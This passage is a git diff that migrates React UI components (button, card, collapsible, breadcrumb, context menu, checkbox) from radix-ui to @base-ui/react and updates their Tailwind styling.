|
|
||||||
function BreadcrumbLink({
|
|
||||||
asChild,
|
|
||||||
className,
|
|
||||||
...props
|
|
||||||
}: React.ComponentProps<"a"> & {
|
|
||||||
asChild?: boolean;
|
|
||||||
}) {
|
|
||||||
const Comp = asChild ? SlotPrimitive.Slot : "a";
|
|
||||||
|
|
||||||
return (
|
|
||||||
<Comp
|
|
||||||
data-slot="breadcrumb-link"
|
|
||||||
className={cn("hover:text-foreground transition-colors", className)}
|
|
||||||
{...props}
|
|
||||||
/>
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
function BreadcrumbPage({ className, ...props }: React.ComponentProps<"span">) {
|
|
||||||
return (
|
|
||||||
<span
|
|
||||||
data-slot="breadcrumb-page"
|
|
||||||
aria-disabled="true"
|
|
||||||
aria-current="page"
|
|
||||||
className={cn("text-foreground font-normal", className)}
|
|
||||||
{...props}
|
|
||||||
/>
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
function BreadcrumbSeparator({
|
|
||||||
children,
|
|
||||||
className,
|
|
||||||
...props
|
|
||||||
}: React.ComponentProps<"li">) {
|
|
||||||
return (
|
|
||||||
<li
|
|
||||||
data-slot="breadcrumb-separator"
|
|
||||||
role="presentation"
|
|
||||||
aria-hidden="true"
|
|
||||||
className={cn("[&>svg]:size-3.5", className)}
|
|
||||||
{...props}
|
|
||||||
>
|
|
||||||
{children ?? <ChevronRight />}
|
|
||||||
</li>
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
function BreadcrumbEllipsis({
|
|
||||||
className,
|
|
||||||
...props
|
|
||||||
}: React.ComponentProps<"span">) {
|
|
||||||
return (
|
|
||||||
<span
|
|
||||||
data-slot="breadcrumb-ellipsis"
|
|
||||||
role="presentation"
|
|
||||||
aria-hidden="true"
|
|
||||||
className={cn("flex size-9 items-center justify-center", className)}
|
|
||||||
{...props}
|
|
||||||
>
|
|
||||||
<MoreHorizontal className="size-4" />
|
|
||||||
<span className="sr-only">More</span>
|
|
||||||
</span>
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
export {
|
|
||||||
Breadcrumb,
|
|
||||||
BreadcrumbList,
|
|
||||||
BreadcrumbItem,
|
|
||||||
BreadcrumbLink,
|
|
||||||
BreadcrumbPage,
|
|
||||||
BreadcrumbSeparator,
|
|
||||||
BreadcrumbEllipsis,
|
|
||||||
};
|
|
||||||
@@ -1,31 +1,36 @@
|
|||||||
|
import { Button as ButtonPrimitive } from "@base-ui/react/button";
|
||||||
import { cva, type VariantProps } from "class-variance-authority";
|
import { cva, type VariantProps } from "class-variance-authority";
|
||||||
import { Slot as SlotPrimitive } from "radix-ui";
|
|
||||||
import type * as React from "react";
|
|
||||||
|
|
||||||
import { cn } from "@/lib/utils";
|
import { cn } from "@/lib/utils";
|
||||||
|
|
||||||
const buttonVariants = cva(
|
const buttonVariants = cva(
|
||||||
"inline-flex items-center justify-center gap-2 whitespace-nowrap rounded-md text-sm font-medium transition-all disabled:pointer-events-none disabled:opacity-50 [&_svg]:pointer-events-none [&_svg:not([class*='size-'])]:size-4 shrink-0 [&_svg]:shrink-0 outline-none focus-visible:border-ring focus-visible:ring-ring/50 focus-visible:ring-[3px] aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive",
|
"focus-visible:border-ring focus-visible:ring-ring/50 aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive dark:aria-invalid:border-destructive/50 rounded-md border border-transparent bg-clip-padding text-sm font-medium focus-visible:ring-[3px] aria-invalid:ring-[3px] [&_svg:not([class*='size-'])]:size-4 inline-flex items-center justify-center whitespace-nowrap transition-all disabled:pointer-events-none disabled:opacity-50 [&_svg]:pointer-events-none shrink-0 [&_svg]:shrink-0 outline-none group/button select-none",
|
||||||
{
|
{
|
||||||
variants: {
|
variants: {
|
||||||
variant: {
|
variant: {
|
||||||
default:
|
default: "bg-primary text-primary-foreground hover:bg-primary/80",
|
||||||
"bg-primary text-primary-foreground shadow-xs hover:bg-primary/90",
|
|
||||||
destructive:
|
|
||||||
"bg-destructive text-white shadow-xs hover:bg-destructive/90 focus-visible:ring-destructive/20 dark:focus-visible:ring-destructive/40 dark:bg-destructive/60",
|
|
||||||
outline:
|
outline:
|
||||||
"border bg-background shadow-xs hover:bg-accent hover:text-accent-foreground dark:bg-input/30 dark:border-input dark:hover:bg-input/50",
|
"border-border bg-background hover:bg-muted hover:text-foreground dark:bg-input/30 dark:border-input dark:hover:bg-input/50 aria-expanded:bg-muted aria-expanded:text-foreground shadow-xs",
|
||||||
secondary:
|
secondary:
|
||||||
"bg-secondary text-secondary-foreground shadow-xs hover:bg-secondary/80",
|
"bg-secondary text-secondary-foreground hover:bg-secondary/80 aria-expanded:bg-secondary aria-expanded:text-secondary-foreground",
|
||||||
ghost:
|
ghost:
|
||||||
"hover:bg-accent hover:text-accent-foreground dark:hover:bg-accent/50",
|
"hover:bg-muted hover:text-foreground dark:hover:bg-muted/50 aria-expanded:bg-muted aria-expanded:text-foreground",
|
||||||
|
destructive:
|
||||||
|
"bg-destructive/10 hover:bg-destructive/20 focus-visible:ring-destructive/20 dark:focus-visible:ring-destructive/40 dark:bg-destructive/20 text-destructive focus-visible:border-destructive/40 dark:hover:bg-destructive/30",
|
||||||
link: "text-primary underline-offset-4 hover:underline",
|
link: "text-primary underline-offset-4 hover:underline",
|
||||||
},
|
},
|
||||||
size: {
|
size: {
|
||||||
default: "h-9 px-4 py-2 has-[>svg]:px-3",
|
default:
|
||||||
sm: "h-8 rounded-md gap-1.5 px-3 has-[>svg]:px-2.5",
|
"h-9 gap-1.5 px-2.5 in-data-[slot=button-group]:rounded-md has-data-[icon=inline-end]:pr-2 has-data-[icon=inline-start]:pl-2",
|
||||||
lg: "h-10 rounded-md px-6 has-[>svg]:px-4",
|
xs: "h-6 gap-1 rounded-[min(var(--radius-md),8px)] px-2 text-xs in-data-[slot=button-group]:rounded-md has-data-[icon=inline-end]:pr-1.5 has-data-[icon=inline-start]:pl-1.5 [&_svg:not([class*='size-'])]:size-3",
|
||||||
|
sm: "h-8 gap-1 rounded-[min(var(--radius-md),10px)] px-2.5 in-data-[slot=button-group]:rounded-md has-data-[icon=inline-end]:pr-1.5 has-data-[icon=inline-start]:pl-1.5",
|
||||||
|
lg: "h-10 gap-1.5 px-2.5 has-data-[icon=inline-end]:pr-3 has-data-[icon=inline-start]:pl-3",
|
||||||
icon: "size-9",
|
icon: "size-9",
|
||||||
|
"icon-xs":
|
||||||
|
"size-6 rounded-[min(var(--radius-md),8px)] in-data-[slot=button-group]:rounded-md [&_svg:not([class*='size-'])]:size-3",
|
||||||
|
"icon-sm":
|
||||||
|
"size-8 rounded-[min(var(--radius-md),10px)] in-data-[slot=button-group]:rounded-md",
|
||||||
|
"icon-lg": "size-10",
|
||||||
},
|
},
|
||||||
},
|
},
|
||||||
defaultVariants: {
|
defaultVariants: {
|
||||||
@@ -37,18 +42,12 @@ const buttonVariants = cva(
|
|||||||
|
|
||||||
function Button({
|
function Button({
|
||||||
className,
|
className,
|
||||||
variant,
|
variant = "default",
|
||||||
size,
|
size = "default",
|
||||||
asChild = false,
|
|
||||||
...props
|
...props
|
||||||
}: React.ComponentProps<"button"> &
|
}: ButtonPrimitive.Props & VariantProps<typeof buttonVariants>) {
|
||||||
VariantProps<typeof buttonVariants> & {
|
|
||||||
asChild?: boolean;
|
|
||||||
}) {
|
|
||||||
const Comp = asChild ? SlotPrimitive.Slot : "button";
|
|
||||||
|
|
||||||
return (
|
return (
|
||||||
<Comp
|
<ButtonPrimitive
|
||||||
data-slot="button"
|
data-slot="button"
|
||||||
className={cn(buttonVariants({ variant, size, className }))}
|
className={cn(buttonVariants({ variant, size, className }))}
|
||||||
{...props}
|
{...props}
|
||||||
|
|||||||
@@ -2,12 +2,17 @@ import type * as React from "react";
|
|||||||
|
|
||||||
import { cn } from "@/lib/utils";
|
import { cn } from "@/lib/utils";
|
||||||
|
|
||||||
function Card({ className, ...props }: React.ComponentProps<"div">) {
|
function Card({
|
||||||
|
className,
|
||||||
|
size = "default",
|
||||||
|
...props
|
||||||
|
}: React.ComponentProps<"div"> & { size?: "default" | "sm" }) {
|
||||||
return (
|
return (
|
||||||
<div
|
<div
|
||||||
data-slot="card"
|
data-slot="card"
|
||||||
|
data-size={size}
|
||||||
className={cn(
|
className={cn(
|
||||||
"border text-card-foreground flex flex-col rounded-xl pb-6 text-sm shadow-sm",
|
"ring-foreground/10 bg-card text-card-foreground gap-2 overflow-hidden rounded-xl pb-6 text-sm shadow-xs ring-1 has-[>img:first-child]:pt-0 data-[size=sm]:gap-4 data-[size=sm]:py-4 *:[img:first-child]:rounded-t-xl *:[img:last-child]:rounded-b-xl group/card flex flex-col",
|
||||||
className,
|
className,
|
||||||
)}
|
)}
|
||||||
{...props}
|
{...props}
|
||||||
@@ -20,7 +25,7 @@ function CardHeader({ className, ...props }: React.ComponentProps<"div">) {
|
|||||||
<div
|
<div
|
||||||
data-slot="card-header"
|
data-slot="card-header"
|
||||||
className={cn(
|
className={cn(
|
||||||
"@container/card-header grid auto-rows-min grid-rows-[auto_auto] items-start gap-1.5 px-6 pt-6 has-data-[slot=card-action]:grid-cols-[1fr_auto] [.border-b]:pb-6",
|
"gap-1 rounded-t-xl px-6 pt-6 group-data-[size=sm]/card:px-4 [.border-b]:pb-6 group-data-[size=sm]/card:[.border-b]:pb-4 group/card-header @container/card-header grid auto-rows-min items-start has-data-[slot=card-action]:grid-cols-[1fr_auto] has-data-[slot=card-description]:grid-rows-[auto_auto]",
|
||||||
className,
|
className,
|
||||||
)}
|
)}
|
||||||
{...props}
|
{...props}
|
||||||
@@ -32,7 +37,10 @@ function CardTitle({ className, ...props }: React.ComponentProps<"div">) {
|
|||||||
return (
|
return (
|
||||||
<div
|
<div
|
||||||
data-slot="card-title"
|
data-slot="card-title"
|
||||||
className={cn("leading-none font-semibold", className)}
|
className={cn(
|
||||||
|
"text-base leading-normal font-medium group-data-[size=sm]/card:text-sm",
|
||||||
|
className,
|
||||||
|
)}
|
||||||
{...props}
|
{...props}
|
||||||
/>
|
/>
|
||||||
);
|
);
|
||||||
@@ -65,7 +73,7 @@ function CardContent({ className, ...props }: React.ComponentProps<"div">) {
|
|||||||
return (
|
return (
|
||||||
<div
|
<div
|
||||||
data-slot="card-content"
|
data-slot="card-content"
|
||||||
className={cn("px-6", className)}
|
className={cn("px-6 group-data-[size=sm]/card:px-4", className)}
|
||||||
{...props}
|
{...props}
|
||||||
/>
|
/>
|
||||||
);
|
);
|
||||||
@@ -75,7 +83,10 @@ function CardFooter({ className, ...props }: React.ComponentProps<"div">) {
|
|||||||
return (
|
return (
|
||||||
<div
|
<div
|
||||||
data-slot="card-footer"
|
data-slot="card-footer"
|
||||||
className={cn("flex items-center px-6 [.border-t]:pt-6", className)}
|
className={cn(
|
||||||
|
"rounded-b-xl px-6 group-data-[size=sm]/card:px-4 [.border-t]:pt-6 group-data-[size=sm]/card:[.border-t]:pt-4 flex items-center",
|
||||||
|
className,
|
||||||
|
)}
|
||||||
{...props}
|
{...props}
|
||||||
/>
|
/>
|
||||||
);
|
);
|
||||||
|
|||||||
@@ -1,30 +0,0 @@
|
|||||||
import { CheckIcon } from "lucide-react";
|
|
||||||
import { Checkbox as CheckboxPrimitive } from "radix-ui";
|
|
||||||
import type * as React from "react";
|
|
||||||
|
|
||||||
import { cn } from "@/lib/utils";
|
|
||||||
|
|
||||||
function Checkbox({
|
|
||||||
className,
|
|
||||||
...props
|
|
||||||
}: React.ComponentProps<typeof CheckboxPrimitive.Root>) {
|
|
||||||
return (
|
|
||||||
<CheckboxPrimitive.Root
|
|
||||||
data-slot="checkbox"
|
|
||||||
className={cn(
|
|
||||||
"peer border-input dark:bg-input/30 data-[state=checked]:bg-primary data-[state=checked]:text-primary-foreground dark:data-[state=checked]:bg-primary data-[state=checked]:border-primary focus-visible:border-ring focus-visible:ring-ring/50 aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive size-4 shrink-0 rounded-[4px] border shadow-xs transition-shadow outline-none focus-visible:ring-[3px] disabled:cursor-not-allowed disabled:opacity-50",
|
|
||||||
className,
|
|
||||||
)}
|
|
||||||
{...props}
|
|
||||||
>
|
|
||||||
<CheckboxPrimitive.Indicator
|
|
||||||
data-slot="checkbox-indicator"
|
|
||||||
className="flex items-center justify-center text-current transition-none"
|
|
||||||
>
|
|
||||||
<CheckIcon className="size-3.5" />
|
|
||||||
</CheckboxPrimitive.Indicator>
|
|
||||||
</CheckboxPrimitive.Root>
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
export { Checkbox };
|
|
||||||
@@ -1,9 +1,19 @@
|
|||||||
import { Collapsible as CollapsiblePrimitive } from "radix-ui";
|
import { Collapsible as CollapsiblePrimitive } from "@base-ui/react/collapsible";
|
||||||
|
|
||||||
const Collapsible = CollapsiblePrimitive.Root;
|
function Collapsible({ ...props }: CollapsiblePrimitive.Root.Props) {
|
||||||
|
return <CollapsiblePrimitive.Root data-slot="collapsible" {...props} />;
|
||||||
|
}
|
||||||
|
|
||||||
const CollapsibleTrigger = CollapsiblePrimitive.CollapsibleTrigger;
|
function CollapsibleTrigger({ ...props }: CollapsiblePrimitive.Trigger.Props) {
|
||||||
|
return (
|
||||||
|
<CollapsiblePrimitive.Trigger data-slot="collapsible-trigger" {...props} />
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
const CollapsibleContent = CollapsiblePrimitive.CollapsibleContent;
|
function CollapsibleContent({ ...props }: CollapsiblePrimitive.Panel.Props) {
|
||||||
|
return (
|
||||||
|
<CollapsiblePrimitive.Panel data-slot="collapsible-content" {...props} />
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
export { Collapsible, CollapsibleTrigger, CollapsibleContent };
|
export { Collapsible, CollapsibleTrigger, CollapsibleContent };
|
||||||
|
|||||||
@@ -1,250 +0,0 @@
|
|||||||
import { CheckIcon, ChevronRightIcon, CircleIcon } from "lucide-react";
|
|
||||||
import { ContextMenu as ContextMenuPrimitive } from "radix-ui";
|
|
||||||
import type * as React from "react";
|
|
||||||
|
|
||||||
import { cn } from "@/lib/utils";
|
|
||||||
|
|
||||||
function ContextMenu({
|
|
||||||
...props
|
|
||||||
}: React.ComponentProps<typeof ContextMenuPrimitive.Root>) {
|
|
||||||
return <ContextMenuPrimitive.Root data-slot="context-menu" {...props} />;
|
|
||||||
}
|
|
||||||
|
|
||||||
function ContextMenuTrigger({
|
|
||||||
...props
|
|
||||||
}: React.ComponentProps<typeof ContextMenuPrimitive.Trigger>) {
|
|
||||||
return (
|
|
||||||
<ContextMenuPrimitive.Trigger data-slot="context-menu-trigger" {...props} />
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
function ContextMenuGroup({
|
|
||||||
...props
|
|
||||||
}: React.ComponentProps<typeof ContextMenuPrimitive.Group>) {
|
|
||||||
return (
|
|
||||||
<ContextMenuPrimitive.Group data-slot="context-menu-group" {...props} />
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
function ContextMenuPortal({
|
|
||||||
...props
|
|
||||||
}: React.ComponentProps<typeof ContextMenuPrimitive.Portal>) {
|
|
||||||
return (
|
|
||||||
<ContextMenuPrimitive.Portal data-slot="context-menu-portal" {...props} />
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
function ContextMenuSub({
|
|
||||||
...props
|
|
||||||
}: React.ComponentProps<typeof ContextMenuPrimitive.Sub>) {
|
|
||||||
return <ContextMenuPrimitive.Sub data-slot="context-menu-sub" {...props} />;
|
|
||||||
}
|
|
||||||
|
|
||||||
function ContextMenuRadioGroup({
|
|
||||||
...props
|
|
||||||
}: React.ComponentProps<typeof ContextMenuPrimitive.RadioGroup>) {
|
|
||||||
return (
|
|
||||||
<ContextMenuPrimitive.RadioGroup
|
|
||||||
data-slot="context-menu-radio-group"
|
|
||||||
{...props}
|
|
||||||
/>
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
function ContextMenuSubTrigger({
|
|
||||||
className,
|
|
||||||
inset,
|
|
||||||
children,
|
|
||||||
...props
|
|
||||||
}: React.ComponentProps<typeof ContextMenuPrimitive.SubTrigger> & {
|
|
||||||
inset?: boolean;
|
|
||||||
}) {
|
|
||||||
return (
|
|
||||||
<ContextMenuPrimitive.SubTrigger
|
|
||||||
data-slot="context-menu-sub-trigger"
|
|
||||||
data-inset={inset}
|
|
||||||
className={cn(
|
|
||||||
"focus:bg-accent focus:text-accent-foreground data-[state=open]:bg-accent data-[state=open]:text-accent-foreground flex cursor-default items-center rounded-sm px-2 py-1.5 text-sm outline-hidden select-none data-[inset]:pl-8 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4",
|
|
||||||
className,
|
|
||||||
)}
|
|
||||||
{...props}
|
|
||||||
>
|
|
||||||
{children}
|
|
||||||
<ChevronRightIcon className="ml-auto" />
|
|
||||||
</ContextMenuPrimitive.SubTrigger>
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
function ContextMenuSubContent({
|
|
||||||
className,
|
|
||||||
...props
|
|
||||||
}: React.ComponentProps<typeof ContextMenuPrimitive.SubContent>) {
|
|
||||||
return (
|
|
||||||
<ContextMenuPrimitive.SubContent
|
|
||||||
data-slot="context-menu-sub-content"
|
|
||||||
className={cn(
|
|
||||||
"bg-popover text-popover-foreground data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2 z-50 min-w-[8rem] origin-(--radix-context-menu-content-transform-origin) overflow-hidden rounded-md border p-1 shadow-lg",
|
|
||||||
className,
|
|
||||||
)}
|
|
||||||
{...props}
|
|
||||||
/>
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
function ContextMenuContent({
|
|
||||||
className,
|
|
||||||
...props
|
|
||||||
}: React.ComponentProps<typeof ContextMenuPrimitive.Content>) {
|
|
||||||
return (
|
|
||||||
<ContextMenuPrimitive.Portal>
|
|
||||||
<ContextMenuPrimitive.Content
|
|
||||||
data-slot="context-menu-content"
|
|
||||||
className={cn(
|
|
||||||
"bg-popover text-popover-foreground data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2 z-50 max-h-(--radix-context-menu-content-available-height) min-w-[8rem] origin-(--radix-context-menu-content-transform-origin) overflow-x-hidden overflow-y-auto rounded-md border p-1 shadow-md",
|
|
||||||
className,
|
|
||||||
)}
|
|
||||||
{...props}
|
|
||||||
/>
|
|
||||||
</ContextMenuPrimitive.Portal>
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
function ContextMenuItem({
|
|
||||||
className,
|
|
||||||
inset,
|
|
||||||
variant = "default",
|
|
||||||
...props
|
|
||||||
}: React.ComponentProps<typeof ContextMenuPrimitive.Item> & {
|
|
||||||
inset?: boolean;
|
|
||||||
variant?: "default" | "destructive";
|
|
||||||
}) {
|
|
||||||
return (
|
|
||||||
<ContextMenuPrimitive.Item
|
|
||||||
data-slot="context-menu-item"
|
|
||||||
data-inset={inset}
|
|
||||||
data-variant={variant}
|
|
||||||
className={cn(
|
|
||||||
"focus:bg-accent focus:text-accent-foreground data-[variant=destructive]:text-destructive data-[variant=destructive]:focus:bg-destructive/10 dark:data-[variant=destructive]:focus:bg-destructive/20 data-[variant=destructive]:focus:text-destructive data-[variant=destructive]:*:[svg]:!text-destructive [&_svg:not([class*='text-'])]:text-muted-foreground relative flex cursor-default items-center gap-2 rounded-sm px-2 py-1.5 text-sm outline-hidden select-none data-[disabled]:pointer-events-none data-[disabled]:opacity-50 data-[inset]:pl-8 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4",
|
|
||||||
className,
|
|
||||||
)}
|
|
||||||
{...props}
|
|
||||||
/>
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
function ContextMenuCheckboxItem({
|
|
||||||
className,
|
|
||||||
children,
|
|
||||||
checked,
|
|
||||||
...props
|
|
||||||
}: React.ComponentProps<typeof ContextMenuPrimitive.CheckboxItem>) {
|
|
||||||
return (
|
|
||||||
<ContextMenuPrimitive.CheckboxItem
|
|
||||||
data-slot="context-menu-checkbox-item"
|
|
||||||
className={cn(
|
|
||||||
"focus:bg-accent focus:text-accent-foreground relative flex cursor-default items-center gap-2 rounded-sm py-1.5 pr-2 pl-8 text-sm outline-hidden select-none data-[disabled]:pointer-events-none data-[disabled]:opacity-50 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4",
|
|
||||||
className,
|
|
||||||
)}
|
|
||||||
checked={checked}
|
|
||||||
{...props}
|
|
||||||
>
|
|
||||||
<span className="pointer-events-none absolute left-2 flex size-3.5 items-center justify-center">
|
|
||||||
<ContextMenuPrimitive.ItemIndicator>
|
|
||||||
<CheckIcon className="size-4" />
|
|
||||||
</ContextMenuPrimitive.ItemIndicator>
|
|
||||||
</span>
|
|
||||||
{children}
|
|
||||||
</ContextMenuPrimitive.CheckboxItem>
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
function ContextMenuRadioItem({
|
|
||||||
className,
|
|
||||||
children,
|
|
||||||
...props
|
|
||||||
}: React.ComponentProps<typeof ContextMenuPrimitive.RadioItem>) {
|
|
||||||
return (
|
|
||||||
<ContextMenuPrimitive.RadioItem
|
|
||||||
data-slot="context-menu-radio-item"
|
|
||||||
className={cn(
|
|
||||||
"focus:bg-accent focus:text-accent-foreground relative flex cursor-default items-center gap-2 rounded-sm py-1.5 pr-2 pl-8 text-sm outline-hidden select-none data-[disabled]:pointer-events-none data-[disabled]:opacity-50 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4",
|
|
||||||
className,
|
|
||||||
)}
|
|
||||||
{...props}
|
|
||||||
>
|
|
||||||
<span className="pointer-events-none absolute left-2 flex size-3.5 items-center justify-center">
|
|
||||||
<ContextMenuPrimitive.ItemIndicator>
|
|
||||||
<CircleIcon className="size-2 fill-current" />
|
|
||||||
</ContextMenuPrimitive.ItemIndicator>
|
|
||||||
</span>
|
|
||||||
{children}
|
|
||||||
</ContextMenuPrimitive.RadioItem>
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
function ContextMenuLabel({
|
|
||||||
className,
|
|
||||||
inset,
|
|
||||||
...props
|
|
||||||
}: React.ComponentProps<typeof ContextMenuPrimitive.Label> & {
|
|
||||||
inset?: boolean;
|
|
||||||
}) {
|
|
||||||
return (
|
|
||||||
<ContextMenuPrimitive.Label
|
|
||||||
data-slot="context-menu-label"
|
|
||||||
data-inset={inset}
|
|
||||||
className={cn(
|
|
||||||
"text-foreground px-2 py-1.5 text-sm font-medium data-[inset]:pl-8",
|
|
||||||
className,
|
|
||||||
)}
|
|
||||||
{...props}
|
|
||||||
/>
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
function ContextMenuSeparator({
|
|
||||||
className,
|
|
||||||
...props
|
|
||||||
}: React.ComponentProps<typeof ContextMenuPrimitive.Separator>) {
|
|
||||||
return (
|
|
||||||
<ContextMenuPrimitive.Separator
|
|
||||||
data-slot="context-menu-separator"
|
|
||||||
className={cn("bg-border -mx-1 my-1 h-px", className)}
|
|
||||||
{...props}
|
|
||||||
/>
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
function ContextMenuShortcut({
|
|
||||||
className,
|
|
||||||
...props
|
|
||||||
}: React.ComponentProps<"span">) {
|
|
||||||
return (
|
|
||||||
<span
|
|
||||||
data-slot="context-menu-shortcut"
|
|
||||||
className={cn(
|
|
||||||
"text-muted-foreground ml-auto text-xs tracking-widest",
|
|
||||||
className,
|
|
||||||
)}
|
|
||||||
{...props}
|
|
||||||
/>
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
export {
|
|
||||||
ContextMenu,
|
|
||||||
ContextMenuTrigger,
|
|
||||||
ContextMenuContent,
|
|
||||||
ContextMenuItem,
|
|
||||||
ContextMenuCheckboxItem,
|
|
||||||
ContextMenuRadioItem,
|
|
||||||
ContextMenuLabel,
|
|
||||||
ContextMenuSeparator,
|
|
||||||
ContextMenuShortcut,
|
|
||||||
ContextMenuGroup,
|
|
||||||
ContextMenuPortal,
|
|
||||||
ContextMenuSub,
|
|
||||||
ContextMenuSubContent,
|
|
||||||
ContextMenuSubTrigger,
|
|
||||||
ContextMenuRadioGroup,
|
|
||||||
};
|
|
||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user